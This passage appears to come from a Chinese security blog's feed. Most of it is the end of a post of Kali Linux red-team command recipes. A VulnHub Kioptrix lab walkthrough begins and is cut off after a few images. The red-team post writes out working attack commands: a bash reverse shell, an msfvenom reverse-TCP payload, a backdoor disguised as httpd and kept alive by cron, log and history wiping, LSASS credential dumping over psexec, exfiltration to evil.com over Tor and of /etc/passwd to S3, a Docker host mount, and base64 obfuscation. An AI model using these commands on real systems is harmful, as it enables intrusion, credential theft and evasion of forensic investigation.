&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;cp /bin/bash /tmp/.httpd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; /tmp/.httpd -c &lt;span class="s2"&gt;&amp;#34;/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/1.1.1.1/443 0&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="11"&gt;&lt;strong&gt;11. &lt;code&gt;tail&lt;/code&gt; / &lt;code&gt;watch&lt;/code&gt; - 实时监控日志&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 动态观察Apache错误日志（检测攻击触发情况）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tail -f /var/log/apache2/error.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;PHP Warning&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 监控新建立的网络连接（反溯源）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;watch -n &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;netstat -antup | grep ESTABLISHED&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="12"&gt;&lt;strong&gt;12. &lt;code&gt;history&lt;/code&gt; / &lt;code&gt;alias&lt;/code&gt; - 隐藏操作痕迹&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 禁用历史记录（避免命令泄露）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;unset&lt;/span&gt; HISTFILE&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;HISTFILESIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建高危命令别名（如快速清理日志）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;cleanlogs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find /var/log -type f -exec shred -u {} \;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="13"&gt;&lt;strong&gt;13. &lt;code&gt;jobs&lt;/code&gt; / &lt;code&gt;fg&lt;/code&gt; - 后台任务管理&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 后台运行端口扫描工具（如masscan）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;masscan -p1-65535 10.0.0.0/24 &amp;gt; results.txt &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;jobs&lt;/span&gt; &lt;span class="c1"&gt;# 查看后台任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;fg&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# 调回前台继续操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="红队关键技巧"&gt;&lt;strong&gt;红队关键技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;混淆命令&lt;/strong&gt;：使用&lt;code&gt;base64&lt;/code&gt;编码命令避免敏感字符串直接出现：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;bHM=&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d &lt;span class="p"&gt;|&lt;/span&gt; bash &lt;span class="c1"&gt;# 执行&amp;#34;ls&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;img alt="image-20250408105852893" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px"&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间戳伪造&lt;/strong&gt;：用&lt;code&gt;touch -t&lt;/code&gt;修改文件时间戳躲避时间轴分析。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;管道符绕过&lt;/strong&gt;：利用&lt;code&gt;|&lt;/code&gt;、&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;等符号组合命令绕过基础检测。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;2025年4月7日 23点52分&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="进阶用法后面会详细讲"&gt;进阶用法（后面会详细讲）
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;2025年4月8日 10点22分&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;以下是在渗透测试和溯源场景中，Kali Linux常用的命令组合与技巧，结合隐蔽性和实战需求整理成五大核心场景：&lt;/p&gt;
&lt;h3 id="1-信息收集与资产探测组合"&gt;&lt;strong&gt;1. 信息收集与资产探测组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;nmap&lt;/code&gt; + &lt;code&gt;grep&lt;/code&gt; + &lt;code&gt;cut&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：快速扫描目标网络并提取关键信息&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描C段存活主机，提取开放80/443端口的IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -sn 192.168.1.0/24 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;Nmap scan report&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; -f5 &amp;gt; live_hosts.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nmap -p80,443 -iL live_hosts.txt -oX scan_results.xml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 解析XML扫描结果，提取高危服务（如SSH、RDP）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;grep -E &lt;span class="s1"&gt;&amp;#39;portid=&amp;#34;22&amp;#34;|portid=&amp;#34;3389&amp;#34;&amp;#39;&lt;/span&gt; scan_results.xml &lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s1"&gt;&amp;#39;\&amp;#34;&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $2&amp;#34;:&amp;#34;$4}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;br&gt;
• 使用&lt;code&gt;-sn&lt;/code&gt;参数避免触发端口扫描告警&lt;br&gt;
• 结果输出为XML格式便于后续自动化处理&lt;/p&gt;
&lt;h3 id="2-web漏洞利用组合"&gt;&lt;strong&gt;2. Web漏洞利用组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;nikto&lt;/code&gt; + &lt;code&gt;sqlmap&lt;/code&gt; + &lt;code&gt;curl&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：自动化探测Web漏洞并验证利用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目标网站漏洞&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nikto -h http://target.com -output vuln_report.html
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测SQL注入并自动化获取数据库信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u &lt;span class="s2"&gt;&amp;#34;http://target.com/index.php?id=1&amp;#34;&lt;/span&gt; --batch --dbs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 利用漏洞上传Webshell（需结合编码绕过）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;curl -X POST http://target.com/upload.php -F &lt;span class="s2"&gt;&amp;#34;file=@revshell.php&amp;#34;&lt;/span&gt; -H &lt;span class="s2"&gt;&amp;#34;User-Agent: Mozilla/5.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;隐蔽技巧&lt;/strong&gt;：&lt;br&gt;
• 在&lt;code&gt;sqlmap&lt;/code&gt;中添加&lt;code&gt;--random-agent&lt;/code&gt;伪装浏览器流量&lt;br&gt;
• 使用&lt;code&gt;base64&lt;/code&gt;编码Webshell内容绕过基础WAF检测&lt;/p&gt;
&lt;h3 id="3-权限维持与后门部署组合"&gt;&lt;strong&gt;3. 权限维持与后门部署组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;msfvenom&lt;/code&gt; + &lt;code&gt;systemctl&lt;/code&gt; + &lt;code&gt;crontab&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：生成隐蔽后门并实现持久化&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成加密的Linux反向Shell Payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;msfvenom -p linux/x64/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1.1.1.1 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;443&lt;/span&gt; -f elf -o httpd --encrypt xor
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 部署后门并伪装为系统服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;mv httpd /usr/sbin/.httpd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chmod +x /usr/sbin/.httpd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; apache2.service --now &lt;span class="c1"&gt;# 利用合法服务掩护&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 添加定时任务维持权限（每小时连接一次）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;crontab -l 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;0 * * * * /usr/sbin/.httpd&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; crontab -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;隐蔽技巧&lt;/strong&gt;：&lt;br&gt;
• 使用&lt;code&gt;systemctl&lt;/code&gt;修改服务描述字段掩盖恶意进程&lt;br&gt;
• 定时任务文件路径伪装为&lt;code&gt;/etc/cron.daily/logrotate&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="4-日志清理与反溯源组合"&gt;&lt;strong&gt;4. 日志清理与反溯源组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;sed&lt;/code&gt; + &lt;code&gt;find&lt;/code&gt; + &lt;code&gt;shred&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：擦除攻击痕迹并干扰时间线分析&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 删除SSH登录失败记录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i &lt;span class="s1"&gt;&amp;#39;/Failed password/d&amp;#39;&lt;/span&gt; /var/log/auth.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 批量清除Web访问日志中本机IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;find /var/log/nginx/ -name &lt;span class="s2"&gt;&amp;#34;access.log*&amp;#34;&lt;/span&gt; -exec sed -i &lt;span class="s1"&gt;&amp;#39;/192.168.1.100/d&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 物理删除临时文件（覆盖7次后销毁）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;find /tmp/ -name &lt;span class="s2"&gt;&amp;#34;*.php&amp;#34;&lt;/span&gt; -exec shred -u -z -n7 &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;br&gt;
• 优先操作日志轮转文件（如&lt;code&gt;auth.log.1&lt;/code&gt;）&lt;br&gt;
• 使用&lt;code&gt;shred&lt;/code&gt;代替&lt;code&gt;rm&lt;/code&gt;彻底破坏文件恢复可能性&lt;/p&gt;
&lt;h3 id="5-内网横向移动组合"&gt;&lt;strong&gt;5. 内网横向移动组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;impacket-psexec&lt;/code&gt; + &lt;code&gt;proxychains&lt;/code&gt; + &lt;code&gt;smbmap&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：通过凭证重用突破内网边界&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描内网SMB共享资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;proxychains smbmap -H 10.0.0.5 -u &lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt; -p &lt;span class="s1"&gt;&amp;#39;P@ssw0rd&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 利用PsExec执行远程命令（如抓取内存密码）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;proxychains impacket-psexec admin:&lt;span class="s1"&gt;&amp;#39;P@ssw0rd&amp;#39;&lt;/span&gt;@10.0.0.5 &lt;span class="s2"&gt;&amp;#34;cmd /c rundll32.exe C:\windows\system32\comsvcs.dll MiniDump 648 C:\lsass.dmp full&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 通过加密通道回传敏感数据&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;curl --socks5 127.0.0.1:9050 -F &lt;span class="s2"&gt;&amp;#34;file=@lsass.dmp&amp;#34;&lt;/span&gt; https://evil.com/upload
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;隐蔽技巧&lt;/strong&gt;：&lt;br&gt;
• 使用DNS-over-HTTPS（DoH）隐藏C2通信&lt;br&gt;
• 内存加载恶意代码避免磁盘文件写入（如&lt;code&gt;Meterpreter&lt;/code&gt;的&lt;code&gt;reflectivedllinject&lt;/code&gt;）&lt;/p&gt;
&lt;h3 id="红队高阶技巧"&gt;&lt;strong&gt;红队高阶技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;流量伪装&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用合法云服务API传输数据（如AWS S3）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;aws s3 cp /etc/passwd s3://bucket-backdoor/ --profile&lt;span class="o"&gt;=&lt;/span&gt;legit_user
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;容器逃逸&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测Docker环境并挂载宿主机目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;findmnt &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;/var/lib/docker&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker run -v /:/mnt/host alpine chroot /mnt/host
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;硬件级隐蔽&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 修改网卡MAC地址绕过IP封锁&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev eth0 down &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; macchanger -r eth0 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev eth0 up
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="防御对抗建议"&gt;&lt;strong&gt;防御对抗建议&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;• &lt;strong&gt;日志监控&lt;/strong&gt;：关注&lt;code&gt;/var/log/&lt;/code&gt;下&lt;code&gt;auth.log&lt;/code&gt;、&lt;code&gt;syslog&lt;/code&gt;的异常进程创建事件&lt;br&gt;
• &lt;strong&gt;进程防护&lt;/strong&gt;：使用&lt;code&gt;ps -auxf&lt;/code&gt;检查父进程异常的&lt;code&gt;/usr/sbin/.httpd&lt;/code&gt;类服务&lt;br&gt;
• &lt;strong&gt;网络隔离&lt;/strong&gt;：通过&lt;code&gt;iptables&lt;/code&gt;限制非授权出站流量（如阻断TOR节点连接）&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2025年4月8日 11点24分&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Kioptrix系列1-5</title><link>https://ruajingjing.top/post/kioptrix%E7%B3%BB%E5%88%971-5/</link><pubDate>Wed, 26 Feb 2025 16:53:47 +0000</pubDate><guid>https://ruajingjing.top/post/kioptrix%E7%B3%BB%E5%88%971-5/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Kioptrix系列1-5" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="kioptrix-level-1-1"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/" target="_blank" rel="noopener"
 &gt;Kioptrix: Level 1 (#1)&lt;/a&gt;
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/kioptrix-level-1-1,22/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250123105706538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105706538.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123105744760" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105744760.png"&gt;&lt;/p&gt;
&lt;h3 id="nmap扫描"&gt;Nmap扫描
&lt;/h3&gt;&lt;p&gt;输入&lt;code&gt;ifconfig&lt;/code&gt;查看kali本机的网段。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123104231212" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123104231212.png"&gt;&lt;/p&gt;
